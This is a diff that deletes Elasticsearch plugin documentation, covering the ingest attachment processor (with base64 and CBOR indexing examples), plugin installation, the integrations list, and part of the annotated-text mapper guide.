-== Introduction to plugins
-
-Plugins are a way to enhance the core Elasticsearch functionality in a custom
-manner. They range from adding custom mapping types, custom analyzers, native
-scripts, custom discovery and more.
-
-Plugins contain JAR files, but may also contain scripts and config files, and
-must be installed on every node in the cluster. After installation, each
-node must be restarted before the plugin becomes visible.
-
-NOTE: A full cluster restart is required for installing plugins that have
-custom cluster state metadata, such as X-Pack. It is still possible to upgrade
-such plugins with a rolling restart.
-
-This documentation distinguishes two categories of plugins:
-
-Core Plugins::    This category identifies plugins that are part of Elasticsearch
-project. Delivered at the same time as Elasticsearch, their version number always
-matches the version number of Elasticsearch itself. These plugins are maintained
-by the Elastic team with the appreciated help of amazing community members (for
-open source plugins). Issues and bug reports can be reported on the
-https://github.com/elastic/elasticsearch[Github project page].
-
-Community contributed::    This category identifies plugins that are external to
-the Elasticsearch project. They are provided by individual developers or private
-companies and have their own licenses as well as their own versioning system.
-Issues and bug reports can usually be reported on the community plugin's web site.
-
-For advice on writing your own plugin, see <<plugin-authors>>.
-
-IMPORTANT: Site plugins -- plugins containing HTML, CSS and JavaScript -- are
-no longer supported.
-
-include::plugin-script.asciidoc[]
-
-include::api.asciidoc[]
-
-include::alerting.asciidoc[]
-
-include::analysis.asciidoc[]
-
-include::discovery.asciidoc[]
-
-include::ingest.asciidoc[]
-
-include::management.asciidoc[]
-
-include::mapper.asciidoc[]
-
-include::security.asciidoc[]
-
-include::repository.asciidoc[]
-
-include::store.asciidoc[]
-
-include::integrations.asciidoc[]
-
-include::authors.asciidoc[]
-
-include::redirects.asciidoc[]
diff --git a/docs/plugins/ingest-attachment.asciidoc b/docs/plugins/ingest-attachment.asciidoc
deleted file mode 100644
index 901bc19974f..00000000000
--- a/docs/plugins/ingest-attachment.asciidoc
+++ /dev/null
@@ -1,390 +0,0 @@
-[[ingest-attachment]]
-=== Ingest Attachment Processor Plugin
-
-The ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by
-using the Apache text extraction library https://tika.apache.org/[Tika].
-
-You can use the ingest attachment plugin as a replacement for the mapper attachment plugin.
-
-The source field must be a base64 encoded binary. If you do not want to incur
-the overhead of converting back and forth between base64, you can use the CBOR
-format instead of JSON and specify the field as a bytes array instead of a string
-representation. The processor will skip the base64 decoding then.
-
-:plugin_name: ingest-attachment
-include::install_remove.asciidoc[]
-
-[[using-ingest-attachment]]
-==== Using the Attachment Processor in a Pipeline
-
-[[ingest-attachment-options]]
-.Attachment options
-[options="header"]
-|======
-| Name                   | Required  | Default          | Description
-| `field`                | yes       | -                | The field to get the base64 encoded field from
-| `target_field`         | no        | attachment       | The field that will hold the attachment information
-| `indexed_chars`        | no        | 100000           | The number of chars being used for extraction to prevent huge fields. Use `-1` for no limit.
-| `indexed_chars_field`  | no        | `null`           | Field name from which you can overwrite the number of chars being used for extraction. See `indexed_chars`.
-| `properties`           | no        | all properties   | Array of properties to select to be stored. Can be `content`, `title`, `name`, `author`, `keywords`, `date`, `content_type`, `content_length`, `language`
-| `ignore_missing`       | no        | `false`          | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-|======
-
-[discrete]
-[[ingest-attachment-json-ex]]
-==== Example
-
-If attaching files to JSON documents, you must first encode the file as a base64
-string. On Unix-like systems, you can do this using a `base64` command:
-
-[source,shell]
-----
-base64 -in myfile.rtf
-----
-
-The command returns the base64-encoded string for the file. The following base64
-string is for an `.rtf` file containing the text `Lorem ipsum dolor sit amet`:
-`e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=`.
-
-Use an attachment processor to decode the string and extract the file's
-properties:
-
-[source,console]
-----
-PUT _ingest/pipeline/attachment
-{
-  "description" : "Extract attachment information",
-  "processors" : [
-    {
-      "attachment" : {
-        "field" : "data"
-      }
-    }
-  ]
-}
-PUT my-index-000001/_doc/my_id?pipeline=attachment
-{
-  "data": "e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0="
-}
-GET my-index-000001/_doc/my_id
-----
-
-The document's `attachment` object contains extracted properties for the file:
-
-[source,console-result]
-----
-{
-  "found": true,
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_id": "my_id",
-  "_version": 1,
-  "_seq_no": 22,
-  "_primary_term": 1,
-  "_source": {
-    "data": "e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=",
-    "attachment": {
-      "content_type": "application/rtf",
-      "language": "ro",
-      "content": "Lorem ipsum dolor sit amet",
-      "content_length": 28
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-To extract only certain `attachment` fields, specify the `properties` array:
-
-[source,console]
-----
-PUT _ingest/pipeline/attachment
-{
-  "description" : "Extract attachment information",
-  "processors" : [
-    {
-      "attachment" : {
-        "field" : "data",
-        "properties": [ "content", "title" ]
-      }
-    }
-  ]
-}
-----
-
-NOTE: Extracting contents from binary data is a resource intensive operation and
-      consumes a lot of resources. It is highly recommended to run pipelines
-      using this processor in a dedicated ingest node.
-      
-[[ingest-attachment-cbor]]
-==== Use the attachment processor with CBOR
-
-To avoid encoding and decoding JSON to base64, you can instead pass CBOR data to
-the attachment processor. For example, the following request creates the
-`cbor-attachment` pipeline, which uses the attachment processor.
-
-[source,console]
-----
-PUT _ingest/pipeline/cbor-attachment
-{
-  "description" : "Extract attachment information",
-  "processors" : [
-    {
-      "attachment" : {
-        "field" : "data"
-      }
-    }
-  ]
-}
-----
-
-The following Python script passes CBOR data to an HTTP indexing request that
-includes the `cbor-attachment` pipeline. The HTTP request headers use a
-a `content-type` of `application/cbor`.
-
-NOTE: Not all {es} clients support custom HTTP request headers.
-
-[source,python]
-----
-import cbor2
-import requests
-
-file = 'my-file'
-headers = {'content-type': 'application/cbor'}
-
-with open(file, 'rb') as f:
-  doc = {
-    'data': f.read()
-  }
-  requests.put(
-    'http://localhost:9200/my-index-000001/_doc/my_id?pipeline=cbor-attachment', 
-    data=cbor2.dumps(doc), 
-    headers=headers
-  )
-----
-
-[[ingest-attachment-extracted-chars]]
-==== Limit the number of extracted chars
-
-To prevent extracting too many chars and overload the node memory, the number of chars being used for extraction 
-is limited by default to `100000`. You can change this value by setting `indexed_chars`. Use `-1` for no limit but 
-ensure when setting this that your node will have enough HEAP to extract the content of very big documents.
-
-You can also define this limit per document by extracting from a given field the limit to set. If the document
-has that field, it will overwrite the `indexed_chars` setting. To set this field, define the `indexed_chars_field`
-setting.
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/attachment
-{
-  "description" : "Extract attachment information",
-  "processors" : [
-    {
-      "attachment" : {
-        "field" : "data",
-        "indexed_chars" : 11,
-        "indexed_chars_field" : "max_size"
-      }
-    }
-  ]
-}
-PUT my-index-000001/_doc/my_id?pipeline=attachment
-{
-  "data": "e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0="
-}
-GET my-index-000001/_doc/my_id
---------------------------------------------------
-
-Returns this:
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_id": "my_id",
-  "_version": 1,
-  "_seq_no": 35,
-  "_primary_term": 1,
-  "_source": {
-    "data": "e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=",
-    "attachment": {
-      "content_type": "application/rtf",
-      "language": "sl",
-      "content": "Lorem ipsum",
-      "content_length": 11
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/attachment
-{
-  "description" : "Extract attachment information",
-  "processors" : [
-    {
-      "attachment" : {
-        "field" : "data",
-        "indexed_chars" : 11,
-        "indexed_chars_field" : "max_size"
-      }
-    }
-  ]
-}
-PUT my-index-000001/_doc/my_id_2?pipeline=attachment
-{
-  "data": "e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=",
-  "max_size": 5
-}
-GET my-index-000001/_doc/my_id_2
---------------------------------------------------
-
-Returns this:
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_id": "my_id_2",
-  "_version": 1,
-  "_seq_no": 40,
-  "_primary_term": 1,
-  "_source": {
-    "data": "e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=",
-    "max_size": 5,
-    "attachment": {
-      "content_type": "application/rtf",
-      "language": "ro",
-      "content": "Lorem",
-      "content_length": 5
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-
-[[ingest-attachment-with-arrays]]
-==== Using the Attachment Processor with arrays
-
-To use the attachment processor within an array of attachments the
-{ref}/foreach-processor.html[foreach processor] is required. This
-enables the attachment processor to be run on the individual elements
-of the array.
-
-For example, given the following source:
-
-[source,js]
---------------------------------------------------
-{
-  "attachments" : [
-    {
-      "filename" : "ipsum.txt",
-      "data" : "dGhpcyBpcwpqdXN0IHNvbWUgdGV4dAo="
-    },
-    {
-      "filename" : "test.txt",
-      "data" : "VGhpcyBpcyBhIHRlc3QK"
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-In this case, we want to process the data field in each element
-of the attachments field and insert
-the properties into the document so the following `foreach`
-processor is used:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/attachment
-{
-  "description" : "Extract attachment information from arrays",
-  "processors" : [
-    {
-      "foreach": {
-        "field": "attachments",
-        "processor": {
-          "attachment": {
-            "target_field": "_ingest._value.attachment",
-            "field": "_ingest._value.data"
-          }
-        }
-      }
-    }
-  ]
-}
-PUT my-index-000001/_doc/my_id?pipeline=attachment
-{
-  "attachments" : [
-    {
-      "filename" : "ipsum.txt",
-      "data" : "dGhpcyBpcwpqdXN0IHNvbWUgdGV4dAo="
-    },
-    {
-      "filename" : "test.txt",
-      "data" : "VGhpcyBpcyBhIHRlc3QK"
-    }
-  ]
-}
-GET my-index-000001/_doc/my_id
---------------------------------------------------
-
-Returns this:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "my-index-000001",
-  "_type" : "_doc",
-  "_id" : "my_id",
-  "_version" : 1,
-  "_seq_no" : 50,
-  "_primary_term" : 1,
-  "found" : true,
-  "_source" : {
-    "attachments" : [
-      {
-        "filename" : "ipsum.txt",
-        "data" : "dGhpcyBpcwpqdXN0IHNvbWUgdGV4dAo=",
-        "attachment" : {
-          "content_type" : "text/plain; charset=ISO-8859-1",
-          "language" : "en",
-          "content" : "this is\njust some text",
-          "content_length" : 24
-        }
-      },
-      {
-        "filename" : "test.txt",
-        "data" : "VGhpcyBpcyBhIHRlc3QK",
-        "attachment" : {
-          "content_type" : "text/plain; charset=ISO-8859-1",
-          "language" : "en",
-          "content" : "This is a test",
-          "content_length" : 16
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-
-Note that the `target_field` needs to be set, otherwise the
-default value is used which is a top level field `attachment`. The
-properties on this top level field will contain the value of the
-first attachment only. However, by specifying the
-`target_field` on to a value on `_ingest._value` it will correctly
-associate the properties with the correct attachment.
diff --git a/docs/plugins/ingest-geoip.asciidoc b/docs/plugins/ingest-geoip.asciidoc
deleted file mode 100644
index 71be02c52dd..00000000000
--- a/docs/plugins/ingest-geoip.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[ingest-geoip]]
-=== Ingest `geoip` Processor Plugin
-
-The `geoip` processor is no longer distributed as a plugin, but is now a module
-distributed by default with Elasticsearch. See the
-{ref}/geoip-processor.html[GeoIP processor] for more details.
-
-[[using-ingest-geoip]]
-==== Using the `geoip` Processor in a Pipeline
-
-See {ref}/geoip-processor.html#using-ingest-geoip[using `ingest-geoip`].
diff --git a/docs/plugins/ingest-user-agent.asciidoc b/docs/plugins/ingest-user-agent.asciidoc
deleted file mode 100644
index 51bfe7376c4..00000000000
--- a/docs/plugins/ingest-user-agent.asciidoc
+++ /dev/null
@@ -1,7 +0,0 @@
-[[ingest-user-agent]]
-=== Ingest `user_agent` Processor Plugin
-
-The `user_agent` processor is no longer distributed as a plugin, but is now a module
-distributed by default with Elasticsearch. See the
-{ref}/user-agent-processor.html[User Agent processor] for more details.
-
diff --git a/docs/plugins/ingest.asciidoc b/docs/plugins/ingest.asciidoc
deleted file mode 100644
index 257b74d9290..00000000000
--- a/docs/plugins/ingest.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[[ingest]]
-== Ingest Plugins
-
-The ingest plugins extend Elasticsearch by providing additional ingest node capabilities.
-
-[discrete]
-=== Core Ingest Plugins
-
-The core ingest plugins are:
-
-<<ingest-attachment>>::
-
-The ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by
-using the Apache text extraction library https://tika.apache.org/[Tika].
-
-<<ingest-geoip>>::
-
-The `geoip` processor adds information about the geographical location of IP
-addresses, based on data from the Maxmind databases. This processor adds this
-information by default under the `geoip` field. The `geoip` processor is no
-longer distributed as a plugin, but is now a module distributed by default with
-Elasticsearch. See {ref}/geoip-processor.html[GeoIP processor] for more
-details.
-
-<<ingest-user-agent>>::
-
-A processor that extracts details from the User-Agent header value. The
-`user_agent` processor is no longer distributed as a plugin, but is now a module
-distributed by default with Elasticsearch. See
-{ref}/user-agent-processor.html[User Agent processor] for more details.
-
-[discrete]
-=== Community contributed ingest plugins
-
-The following plugin has been contributed by our community:
-
-* https://github.com/johtani/elasticsearch-ingest-csv[Ingest CSV Processor Plugin] (by Jun Ohtani)
-
-include::ingest-attachment.asciidoc[]
-
-include::ingest-geoip.asciidoc[]
-
-include::ingest-user-agent.asciidoc[]
diff --git a/docs/plugins/install_remove.asciidoc b/docs/plugins/install_remove.asciidoc
deleted file mode 100644
index 0bb9e680498..00000000000
--- a/docs/plugins/install_remove.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[discrete]
-[id="{plugin_name}-install"]
-==== Installation
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of the Elastic Stack has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-This plugin can be installed using the plugin manager:
-
-["source","sh",subs="attributes,callouts"]
-----------------------------------------------------------------
-sudo bin/elasticsearch-plugin install {plugin_name}
-----------------------------------------------------------------
-
-The plugin must be installed on every node in the cluster, and each node must
-be restarted after installation.
-
-You can download this plugin for <<plugin-management-custom-url,offline
-install>> from {plugin_url}/{plugin_name}/{plugin_name}-{version}.zip. To verify
-the `.zip` file, use the
-{plugin_url}/{plugin_name}/{plugin_name}-{version}.zip.sha512[SHA hash] or
-{plugin_url}/{plugin_name}/{plugin_name}-{version}.zip.asc[ASC key].
-endif::[]
-
-[discrete]
-[id="{plugin_name}-remove"]
-==== Removal
-
-The plugin can be removed with the following command:
-
-["source","sh",subs="attributes,callouts"]
-----------------------------------------------------------------
-sudo bin/elasticsearch-plugin remove {plugin_name}
-----------------------------------------------------------------
-
-The node must be stopped before removing the plugin.
-
diff --git a/docs/plugins/integrations.asciidoc b/docs/plugins/integrations.asciidoc
deleted file mode 100644
index d4417c4f6f5..00000000000
--- a/docs/plugins/integrations.asciidoc
+++ /dev/null
@@ -1,198 +0,0 @@
-[[integrations]]
-
-== Integrations
-
-Integrations are not plugins, but are external tools or modules that make it easier to work with Elasticsearch.
-
-[discrete]
-[[cms-integrations]]
-=== CMS integrations
-
-[discrete]
-==== Supported by the community:
-
-* https://drupal.org/project/search_api_elasticsearch[Drupal]:
-  Drupal Elasticsearch integration via Search API.
-
-* https://drupal.org/project/elasticsearch_connector[Drupal]:
-  Drupal Elasticsearch integration.
-
-* https://wordpress.org/plugins/elasticpress/[ElasticPress]:
-  Elasticsearch WordPress Plugin
-
-* https://wordpress.org/plugins/wpsolr-search-engine/[WPSOLR]:
-  Elasticsearch (and Apache Solr) WordPress Plugin
-
-* https://doc.tiki.org/Elasticsearch[Tiki Wiki CMS Groupware]:
-  Tiki has native support for Elasticsearch. This provides faster & better
-  search (facets, etc), along with some Natural Language Processing features
-  (ex.: More like this)
-
-* https://extensions.xwiki.org/xwiki/bin/view/Extension/Elastic+Search+Macro/[XWiki Next Generation Wiki]:
-  XWiki has an Elasticsearch and Kibana macro allowing to run Elasticsearch queries and display the results in XWiki pages using XWiki's scripting language as well as include Kibana Widgets in XWiki pages
-
-[discrete]
-[[data-integrations]]
-=== Data import/export and validation
-
-NOTE: Rivers were used to import data from external systems into Elasticsearch prior to the 2.0 release. Elasticsearch
-releases 2.0 and later do not support rivers.
-
-[discrete]
-==== Supported by Elastic:
-
-* {logstash-ref}/plugins-outputs-elasticsearch.html[Logstash output to Elasticsearch]:
-  The Logstash `elasticsearch` output plugin.
-* {logstash-ref}/plugins-inputs-elasticsearch.html[Elasticsearch input to Logstash]
-  The Logstash `elasticsearch` input plugin.
-* {logstash-ref}/plugins-filters-elasticsearch.html[Elasticsearch event filtering in Logstash]
-  The Logstash `elasticsearch` filter plugin.
-* {logstash-ref}/plugins-codecs-es_bulk.html[Elasticsearch bulk codec]
-  The Logstash `es_bulk` plugin decodes the Elasticsearch bulk format into individual events.
-
-[discrete]
-==== Supported by the community:
-
-* https://github.com/jprante/elasticsearch-jdbc[JDBC importer]:
-  The Java Database Connection (JDBC) importer allows to fetch data from JDBC sources for indexing into Elasticsearch (by Jörg Prante)
-
-* https://github.com/BigDataDevs/kafka-elasticsearch-consumer[Kafka Standalone Consumer (Indexer)]:
-  Kafka Standalone Consumer [Indexer] will read messages from Kafka in batches, processes(as implemented) and bulk-indexes them into Elasticsearch. Flexible and scalable. More documentation in above GitHub repo's Wiki.
-
-* https://github.com/ozlerhakan/mongolastic[Mongolastic]:
-  A tool that clones data from Elasticsearch to MongoDB and vice versa
-
-* https://github.com/Aconex/scrutineer[Scrutineer]:
-  A high performance consistency checker to compare what you've indexed
-  with your source of truth content (e.g. DB)
-
-* https://github.com/salyh/elasticsearch-imap[IMAP/POP3/Mail importer]:
-  The Mail importer allows to fetch data from IMAP and POP3 servers for indexing into Elasticsearch (by Hendrik Saly)
-
-* https://github.com/dadoonet/fscrawler[FS Crawler]:
-  The File System (FS) crawler allows to index documents (PDF, Open Office...) from your local file system and over SSH. (by David Pilato)
-
-* https://github.com/senacor/elasticsearch-evolution[Elasticsearch Evolution]:
-  A library to migrate elasticsearch mappings.
-
-* https://pgsync.com[PGSync]:
-  A tool for syncing data from Postgres to Elasticsearch.
-
-[discrete]
-[[deployment]]
-=== Deployment
-
-[discrete]
-==== Supported by the community:
-* https://github.com/elastic/ansible-elasticsearch[Ansible]:
-  Ansible playbook for Elasticsearch.
-
-* https://github.com/elastic/puppet-elasticsearch[Puppet]:
-  Elasticsearch puppet module.
-
-* https://github.com/elastic/cookbook-elasticsearch[Chef]:
-  Chef cookbook for Elasticsearch
-
-[discrete]
-[[framework-integrations]]
-=== Framework integrations
-
-[discrete]
-==== Supported by the community:
-
-* https://camel.apache.org/components/2.x/elasticsearch-component.html[Apache Camel Integration]:
-  An Apache camel component to integrate Elasticsearch
-
-* https://metacpan.org/pod/Catmandu::Store::ElasticSearch[Catmandu]:
-  An Elasticsearch backend for the Catmandu framework.
-
-* https://github.com/FriendsOfSymfony/FOSElasticaBundle[FOSElasticaBundle]:
-  Symfony2 Bundle wrapping Elastica.
-
-* https://plugins.grails.org/plugin/puneetbehl/elasticsearch[Grails]:
-  Elasticsearch Grails plugin.
-
-* https://haystacksearch.org/[Haystack]:
-  Modular search for Django
-
-* https://hibernate.org/search/[Hibernate Search]
-  Integration with Hibernate ORM, from the Hibernate team. Automatic synchronization of write operations, yet exposes full Elasticsearch capabilities for queries. Can return either Elasticsearch native or re-map queries back into managed entities loaded within transaction from the reference database.
-
-* https://github.com/spring-projects/spring-data-elasticsearch[Spring Data Elasticsearch]:
-  Spring Data implementation for Elasticsearch
-
-* https://github.com/dadoonet/spring-elasticsearch[Spring Elasticsearch]:
-  Spring Factory for Elasticsearch
-
-* https://github.com/twitter/storehaus[Twitter Storehaus]:
-  Thin asynchronous Scala client for Storehaus.
-
-* https://zeebe.io[Zeebe]:
-  An Elasticsearch exporter acts as a bridge between Zeebe and Elasticsearch
-
-* https://pulsar.apache.org/docs/en/io-elasticsearch[Apache Pulsar]:
-  The Elasticsearch Sink Connector is used to pull messages from Pulsar topics
-  and persist the messages to a index.
-
-* https://micronaut-projects.github.io/micronaut-elasticsearch/latest/guide/index.html[Micronaut Elasticsearch Integration]:
-  Integration of Micronaut with Elasticsearch
-
-* https://streampipes.apache.org[Apache StreamPipes]:
-  StreamPipes is a framework that enables users to work with IoT data sources.
-
-* https://metamodel.apache.org/[Apache MetaModel]:
-  Providing a common interface for discovery, exploration of metadata and querying of different types of data sources.
-
-* https://jooby.org/doc/elasticsearch/[Jooby Framework]:
-  Scalable, fast and modular micro web framework for Java.
-
-* https://micrometer.io[Micrometer]:
-  Vendor-neutral application metrics facade. Think SLF4j, but for metrics.
-
-[discrete]
-[[hadoop-integrations]]
-=== Hadoop integrations
-
-[discrete]
-==== Supported by Elastic:
-
-* link:/guide/en/elasticsearch/hadoop/current/[es-hadoop]: Elasticsearch real-time
-  search and analytics natively integrated with Hadoop. Supports Map/Reduce,
-  Cascading, Apache Hive, Apache Pig, Apache Spark and Apache Storm.
-
-[discrete]
-==== Supported by the community:
-
-* https://github.com/criteo/garmadon[Garmadon]:
-  Garmadon is a solution for Hadoop Cluster realtime introspection.
-
-
-[discrete]
-[[monitoring-integrations]]
-=== Health and Performance Monitoring
-
-[discrete]
-==== Supported by the community:
-
-* https://github.com/radu-gheorghe/check-es[check-es]:
-  Nagios/Shinken plugins for checking on Elasticsearch
-
-* https://sematext.com/spm/index.html[SPM for Elasticsearch]:
-  Performance monitoring with live charts showing cluster and node stats, integrated
-  alerts, email reports, etc.
-* https://www.zabbix.com/integrations/elasticsearch[Zabbix monitoring template]:
-  Monitor the performance and status of your {es} nodes and cluster with Zabbix
-  and receive events information.
-
-[[other-integrations]]
-[discrete]
-=== Other integrations
-
-[discrete]
-==== Supported by the community:
-
-* https://www.wireshark.org/[Wireshark]:
-  Protocol dissection for HTTP and the transport protocol
-
-* https://www.itemsapi.com/[ItemsAPI]:
-  Search backend for mobile and web
diff --git a/docs/plugins/management.asciidoc b/docs/plugins/management.asciidoc
deleted file mode 100644
index 0aa25e16011..00000000000
--- a/docs/plugins/management.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-[[management]]
-== Management Plugins
-
-Management plugins offer UIs for managing and interacting with Elasticsearch.
-
-[discrete]
-=== Core management plugins
-
-The core management plugins are:
-
-link:/products/x-pack/monitoring[X-Pack]::
-
-X-Pack contains the management and monitoring features for Elasticsearch. It
-aggregates cluster wide statistics and events and offers a single interface to
-view and analyze them. You can get a link:/subscriptions[free license] for basic
-monitoring or a higher level license for more advanced needs.
diff --git a/docs/plugins/mapper-annotated-text.asciidoc b/docs/plugins/mapper-annotated-text.asciidoc
deleted file mode 100644
index 9307b6aaefe..00000000000
--- a/docs/plugins/mapper-annotated-text.asciidoc
+++ /dev/null
@@ -1,320 +0,0 @@
-[[mapper-annotated-text]]
-=== Mapper Annotated Text Plugin
-
-experimental[]
-
-The mapper-annotated-text plugin provides the ability to index text that is a
-combination of free-text and special markup that is typically used to identify
-items of interest such as people or organisations (see NER or Named Entity Recognition
-tools). 
-
-
-The elasticsearch markup allows one or more additional tokens to be injected, unchanged, into the token
-stream at the same position as the underlying text it annotates.
-
-:plugin_name: mapper-annotated-text
-include::install_remove.asciidoc[]
-
-[[mapper-annotated-text-usage]]
-==== Using the `annotated-text` field
-
-The `annotated-text` tokenizes text content as per the more common {ref}/text.html[`text`] field (see 
-"limitations" below) but also injects any marked-up annotation tokens directly into
-the search index:
-
-[source,console]
---------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_field": {
-        "type": "annotated_text"
-      }
-    }
-  }
-}
---------------------------
-
-Such a mapping would allow marked-up text eg wikipedia articles to be indexed as both text
-and structured tokens. The annotations use a markdown-like syntax using URL encoding of
-one or more values separated by the `&` symbol.
-
-
-We can use the "_analyze" api to test how an example annotation would be stored as tokens
-in the search index:
-
-
-[source,js]
---------------------------
-GET my-index-000001/_analyze
-{
-  "field": "my_field", 
-  "text":"Investors in [Apple](Apple+Inc.) rejoiced."
-}
---------------------------
-// NOTCONSOLE
-
-Response:
-
-[source,js]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "investors",
-      "start_offset": 0,
-      "end_offset": 9,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "in",
-      "start_offset": 10,
-      "end_offset": 12,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "Apple Inc.", <1> 
-      "start_offset": 13,
-      "end_offset": 18,
-      "type": "annotation",
-      "position": 2
-    },
-    {
-      "token": "apple",
-      "start_offset": 13,
-      "end_offset": 18,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "rejoiced",
-      "start_offset": 19,
-      "end_offset": 27,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-<1> Note the whole annotation token `Apple Inc.` is placed, unchanged as a single token in
-the token stream and at the same position (position 2) as the text token (`apple`) it annotates.
-
-
-We can now perform searches for annotations using regular `term` queries that don't tokenize
-the provided search values. Annotations are a more precise way of matching as can be seen 
-in this example where a search for `Beck` will not match `Jeff Beck` :
-
-[source,console]
---------------------------
-# Example documents
-PUT my-index-000001/_doc/1
-{
-  "my_field": "[Beck](Beck) announced a new tour"<1>
-}
-
-PUT my-index-000001/_doc/2
-{
-  "my_field": "[Jeff Beck](Jeff+Beck&Guitarist) plays a strat"<2>
-}
-
-# Example search
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-        "my_field": "Beck" <3>
-    }
-  }
-}
---------------------------
-
-<1> As well as tokenising the plain text into single words e.g. `beck`, here we 
-inject the single token value `Beck` at the same position as `beck` in the token stream.
-<2> Note annotations can inject multiple tokens at the same position - here we inject both
-the very specific value `Jeff Beck` and the broader term `Guitarist`. This enables
-broader positional queries e.g. finding mentions of a `Guitarist` near to `start`.
-<3> A benefit of searching with these carefully defined annotation tokens is that a query for 
-`Beck` will not match document 2 that contains the tokens `jeff`, `beck` and `Jeff Beck`
-
-WARNING: Any use of `=` signs in annotation values eg `[Prince](person=Prince)` will 
-cause the document to be rejected with a parse failure. In future we hope to have a use for
-the equals signs so wil actively reject documents that contain this today.
-
-
-[[mapper-annotated-text-tips]]
-==== Data modelling tips
-===== Use structured and unstructured fields
-
-Annotations are normally a way of weaving structured information into unstructured text for
-higher-precision search.
-
-`Entity resolution` is a form of document enrichment undertaken by specialist software or people 
-where references to entities in a document are disambiguated by attaching a canonical ID.
-The ID is used to resolve any number of aliases or distinguish between people with the
-same name. The hyperlinks connecting Wikipedia's articles are a good example of resolved 
-entity IDs woven into text. 
-
-These IDs can be embedded as annotations in an annotated_text field but it often makes 
-sense to include them in dedicated structured fields to support discovery via aggregations:
-
-[source,console]
---------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_unstructured_text_field": {
-        "type": "annotated_text"
-      },
-      "my_structured_people_field": {
-        "type": "text",
-        "fields": {
-          "keyword" : {
-            "type": "keyword"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------
-
-Applications would then typically provide content and discover it as follows:
-
-[source,console]
---------------------------
-# Example documents
-PUT my-index-000001/_doc/1
-{
-  "my_unstructured_text_field": "[Shay](%40kimchy) created elasticsearch",
-  "my_twitter_handles": ["@kimchy"] <1>
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "query_string": {
-        "query": "elasticsearch OR logstash OR kibana",<2>
-        "default_field": "my_unstructured_text_field"
-    }
-  },
-  "aggregations": {
-  	"top_people" :{
-  	    "significant_terms" : { <3>
-	       "field" : "my_twitter_handles.keyword"
-  	    }
-  	}
-  }
-}
---------------------------
-
-<1> Note the `my_twitter_handles` contains a list of the annotation values
-also used in the unstructured text. (Note the annotated_text syntax requires escaping). 
-By repeating the annotation values in a structured field this application has ensured that 
-the tokens discovered in the structured field can be used for search and highlighting 
-in the unstructured field.  
-<2> In this example we search for documents that talk about components of the elastic stack
-<3> We use the `my_twitter_handles` field here to discover people who are significantly
-associated with the elastic stack.
-
-===== Avoiding over-matching annotations
-By design, the regular text tokens and the annotation tokens co-exist in the same indexed 
-field but in rare cases this can lead to some over-matching.
-
-The value of an annotation often denotes a _named entity_ (a person, place or company).
-The tokens for these named entities are inserted untokenized, and differ from typical text 
-tokens because they are normally:
-
-* Mixed case e.g. `Madonna`
-* Multiple words e.g. `Jeff Beck`
-* Can have punctuation or numbers e.g. `Apple Inc.` or `@kimchy`
-
-This means, for the most part, a search for a named entity in the annotated text field will
-not have any false positives e.g. when selecting `Apple Inc.` from an aggregation result 
-you can drill down to highlight uses in the text without "over matching" on any text tokens 
-like the word `apple` in this context:
-
-    the apple was very juicy
-    
